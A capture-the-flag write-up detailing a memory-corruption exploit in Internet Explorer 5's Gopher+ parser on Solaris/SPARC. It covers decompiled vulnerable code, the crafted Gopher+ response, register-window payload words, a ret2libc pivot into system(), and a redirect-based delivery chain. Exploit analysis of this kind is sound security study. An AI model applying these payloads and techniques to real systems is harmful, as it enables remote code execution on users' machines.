This challenge was solved with a memory corruption bug in Internet Explorer 5
for Solaris/SPARC, specifically in libwininet.so's Gopher+ handling.
The short version is:
- a crafted Gopher+ reply lets
FUN_0004e1c8write a second logical body line through a shifted pointer into a fixed stack buffer - that second line overflows out of the current frame and corrupts a caller's saved register window
- on SPARC, that is not an immediate "saved EIP overwrite"; the corrupted state becomes interesting later when the runtime resumes a higher frame
- one controlled saved word flips that preserved
%i*register set into the live arguments ofFUN_0004a5b8 - from there I shaped the resumed frame so it safely returned into
libcsystem("/usr/local/bin/dispense_flag")
The final flag was:
flag{5un_1nt3rn37_3xpl0d3r}
The challenge corpus had several plausible bugs, but the best lead was in
libwininet.so's Gopher+ parser. The important function was decompiled as
FUN_0004e1c8.
The core structure looked like this:
char local_48c [36];
char local_468 [92];
undefined4 local_40c;
char *local_408;
char local_404 [5];
local_4 = 0x400;
local_408 = local_404;
FUN_0004eba0(param_1,local_404,&local_4,param_1 + 0x20);
...
local_4 = 0x400;
FUN_0004eba0(param_1,local_408,&local_4,&local_40c);This is already suspicious:
local_404is the start of a0x400-byte line bufferlocal_408is a movable pointer into that buffer- the function reads one line into
local_404, mutates parser state, then reads another line throughlocal_408
That suggested a classic "shift the write cursor with line 1, overflow with line 2" bug.
The line reader itself, FUN_0004ed5c, made the geometry sharper:
for (...; ((cVar2 != '\r' && (cVar2 != '\n')) && (uVar7 != 0)) && (iVar5 != 0); ...) {
*pcVar6 = *pcVar4;
cVar2 = pcVar4[1];
pcVar4 = pcVar4 + 1;
pcVar6 = pcVar6 + 1;
}
...
if (cVar2 == '\n') {
pcVar6[2] = '\0';
*pcVar6 = '\r';
pcVar4 = pcVar4 + 1;
iVar5 = iVar5 + -1;
pcVar6[1] = '\n';
uVar7 = uVar7 - 3;
pcVar6 = pcVar6 + 3;
}Two details mattered:
- copying continues until CR/LF or the size limit
- every completed line gets
\r\n\0appended automatically
So the bug was not just "long line overflows buffer"; it was "the second line can start near the end of the buffer, and the parser itself appends three extra bytes after attacker data".
Early on, many +VIEWS test cases crashed immediately, which made it look like
the exploit was easy. That was misleading.
There was a second bug in the same area: FUN_0004dacc parsed gopher directory
lines assuming they contained tab separators, but it did pointer arithmetic on
the result of memchr(..., '\t', ...) without checking for NULL:
sVar1 = strlen(param_1);
...
param_1 = param_1 + 1;
pvVar2 = memchr(param_1,9,sVar1 - 1);
sVar6 = (int)pvVar2 - (int)param_1;And FUN_0004c904 fed raw menu lines into it:
memcpy(param_2,s_gopher____000e58e4,9);
...
FUN_0004dacc(param_1,auStack_830,0,0,auStack_934,&local_828,auStack_a38,&local_82c,&local_a3c,
&local_a40);This mattered because a bare +VIEWS:\r\n header contains no tabs. So the
wrong bug was killing many early payloads before the real overwrite even had a
chance to run.
The fix was to make both the +VIEWS header and the +VIEWS body lines
tab-compliant, for example:
+VIEWS: \tfoo\t10.0.2.2\t70\r\n
That eliminated the confounding crash and made the real parser path visible.
Dynamic tracing showed that "a response containing +INFO" was still not the
full story.
The real Gopher+ path only became stable when the response started with the explicit Gopher+ transport prelude:
+\r\n
+INFO: 1test\tsel\t10.0.2.2\t70\r\n
+VIEWS: \tfoo\t10.0.2.2\t70\r\n
Without that initial +\r\n, the object passed to FUN_0004e1c8 had a key
field at +0x1c cleared, and the loop that processes the +VIEWS body lines
never ran on the live path. With the prelude present, that field became 1,
and the overwrite loop was reachable.
This was one of the most important dynamic findings of the whole solve: the decompilation looked right, but the live state only matched the intended path when the transport-level Gopher+ prelude was present.
Another debugging annoyance was that the decompiler corpus was biased by
+0x10000 relative to the live runtime. For example:
- decompiler
FUN_0004e1c8at old0x4e1c8 - live runtime
FUN_0004e1c8at0xec03e1c8
That mattered when setting breakpoints and interpreting cores.
Once the right path was live, I instrumented FUN_0004ed5c, the per-line
reader, rather than the higher-level read helper. That made the logical
first-line / second-line behavior much easier to see.
The key result was that a shaped first +VIEWS body line moved the second
line's destination to:
local_404 + 0x83
In other words, line 1 did not overflow. It just advanced the internal write cursor. Line 2 then wrote out of bounds through that shifted pointer.
The initial target hypothesis was caller local local_120, because the caller
uses it immediately after returning:
FUN_0004c2b4(puVar6,0xff010102,iVar4,(local_c[0] & 0x80000000) != 0,2,&local_120);
...
if ((param_3 == 0) ||
(puVar7 = local_120, FUN_0004e1c8(local_120,param_3), local_11c = puVar7,
puVar7 == (undefined1 *)0x0)) {
param_1 = *(size_t *)(local_120 + 0xc);
}
else {
FUN_00050a20(local_120);
}But live breakpoints corrected that understanding. The overwrite was real, but
it was landing in a smaller caller frame than I first thought: the
FUN_0004bdc8 -> FUN_0004a5b8 chain.
The decisive dynamic result was that the second long line gave controlled words at:
fp + 0x98
fp + 0x9c
and a full 16-word marker payload showed that the preserved saved window for
FUN_0004a5b8 was under control, especially the saved %i0-%i7 half.
So the exploit problem changed from:
- "can I corrupt a heap pointer in the caller?"
to:
- "can I turn a corrupted saved register window into live control flow on SPARC?"
This is where the exploit stopped looking like x86 and started looking like Solaris/SPARC.
On SPARC, corrupting a caller save area does not automatically mean the next
ordinary ret will use it. The live register window can remain in registers for
a while, and the corrupted memory copy may only become relevant when a later
spill/fill, exception, or unwind path consumes it.
The big breakthrough was a 16-word saved-window marker:
AAAA BBBB CCCC DDDD EEEE FFFF GGGG HHHH
IIII JJJJ KKKK LLLL MMMM NNNN OOOO PPPP
Patching only JJJJ = 1 changed the crash behavior completely. pstack showed
the interrupted frame as:
ec03a690 ???????? (49494949, 1, 4b4b4b4b, 4c4c4c4c, 4d4d4d4d, 4e4e4e4e)
That meant the copied saved %i0-%i5 values had become the live arguments of
the resumed FUN_0004a5b8 frame.
A fresh core pinned this down exactly:
- resumed PC:
0xec03a6b8 - function:
FUN_0004a5b8 - instruction:
lduw [i0+0x130], g2 - fault address:
0x49494a79
That fault address is exactly:
0x49494949 + 0x130
So copied IIII had become live i0.
From there the exploit strategy became concrete:
- keep
JJJJ = 1so the copied%i*set becomes a live resumed frame - set
IIIIsoi0 + 0x130points into attacker-controlled stack memory - keep
CCCCnonzero so the resumed frame skips a deeper helper path - let the resumed frame return normally
- use controlled
%i6/%i7as a standard SPARC fake-frame / ret2libc pivot
That was the moment the bug turned from "interesting crash" into "exploit".
The final exploit used system("/usr/local/bin/dispense_flag").
I first identified the live libc base and system offset:
libc.so.1base:0xeef80000systemoffset:0x68b3c- live
system:0xeefe8b3c
On SPARC, ret jumps to %i7 + 8, so the saved return slot must contain
target - 8, not target. Therefore the correct saved %i7 for a normal
return into system is:
0xeefe8b34
The final long second line carried the saved-window payload at its tail. In big-endian 32-bit words, the important part was:
l0-l7:
41414141 42424242 43434343 44444444
45454545 ebfc0100 70000000 48484848
i0-i7:
ebfc0170 00000001 4b4b4b4b 4c4c4c4c
4d4d4d4d 4e4e4e4e ebfc05d0 eefe8b34
The meaning of the important slots was:
i0 = 0xebfc0170- chosen so resumed
FUN_0004a5b8can dereference[i0+0x130]safely
- chosen so resumed
i1 = 1- the state flip that makes the saved
%i*set become live
- the state flip that makes the saved
i6 = 0xebfc05d0- plausible next frame pointer / stack anchor
i7 = 0xeefe8b34system - 8
The command string itself was embedded in the first long body line, inside the controlled stack data:
/usr/local/bin/dispense_flag\x00
The final payload had this high-level shape:
+\r\n
+INFO: 1test\tsel\t10.0.2.2\t70\r\n
+VIEWS: \tfoo\t10.0.2.2\t70\r\n
[short first +VIEWS body line that shifts the write pointer and carries the command string]
[long second +VIEWS body line that overwrites the saved window]
.\r\n
In the repository, the winning raw payload is:
tmp/gopher-j1-ret2system-o0x59.bin
The decisive confirmation came from a live breakpoint on system:
Breakpoint 1, 0xeefe8b3c in ?? ()
=> 0xeefe8b3c: save %sp, -472, %sp
o0 0xebfc0101
o1 0x1
o2 0x4b4b4b4b
o3 0x4c4c4c4c
o4 0x4d4d4d4d
o5 0x4e4e4e4e
sp 0xebfc05d0
fp 0xebfc19b8
o7 0xeefe8b34
0xebfc0101: "/usr/local/bin/dispense_flag"
This proved all the hard parts at once:
- control had reached
libcsystem - the return convention was correct (
o7 = system - 8) - the argument register was correct (
o0 -> "/usr/local/bin/dispense_flag") - the stack/frame values were sane enough for
systemto run
At that point the exploit was effectively done.
The browser was not navigated directly to a gopher:// URL. Instead, the final
delivery path was:
- submit an HTTP URL on port
80 - that page waits briefly, then navigates to an HTTP endpoint that responds
with a
302 - the
302points togopher://10.0.2.2/... - a raw host-side gopher server returns the crafted Gopher+ payload
The browser's request to the raw gopher server was:
foo\tbar\t+\r\n
The host then returned the 1264-byte winning payload. On the final successful run, the broker returned:
{
"job_id": "20260418-110005-f6868221",
"success": true,
"message": "exploit succeeded",
"duration_seconds": 80.428,
"flag": "flag{5un_1nt3rn37_3xpl0d3r}"
}The most important lessons from this solve were:
- there were two bugs in the same parser family, and the easier one was a confounder
- the real Gopher+ path only became reliable when the response started with the
explicit
+\r\ntransport prelude - on SPARC, "I overwrote a saved frame" is not the same thing as "I own the next return"
- the exploit worked because one saved state word turned a poisoned saved
%i*window into the live arguments of a resumed frame - once that happened, the rest was standard SPARC ret2libc bookkeeping:
choose a safe frame pointer, remember the
+8return bias, and put the command string somewhere stable
That is what made this challenge hard: the memory corruption itself was real and fairly classical, but exploiting it required understanding how Solaris/SPARC actually consumes older saved windows.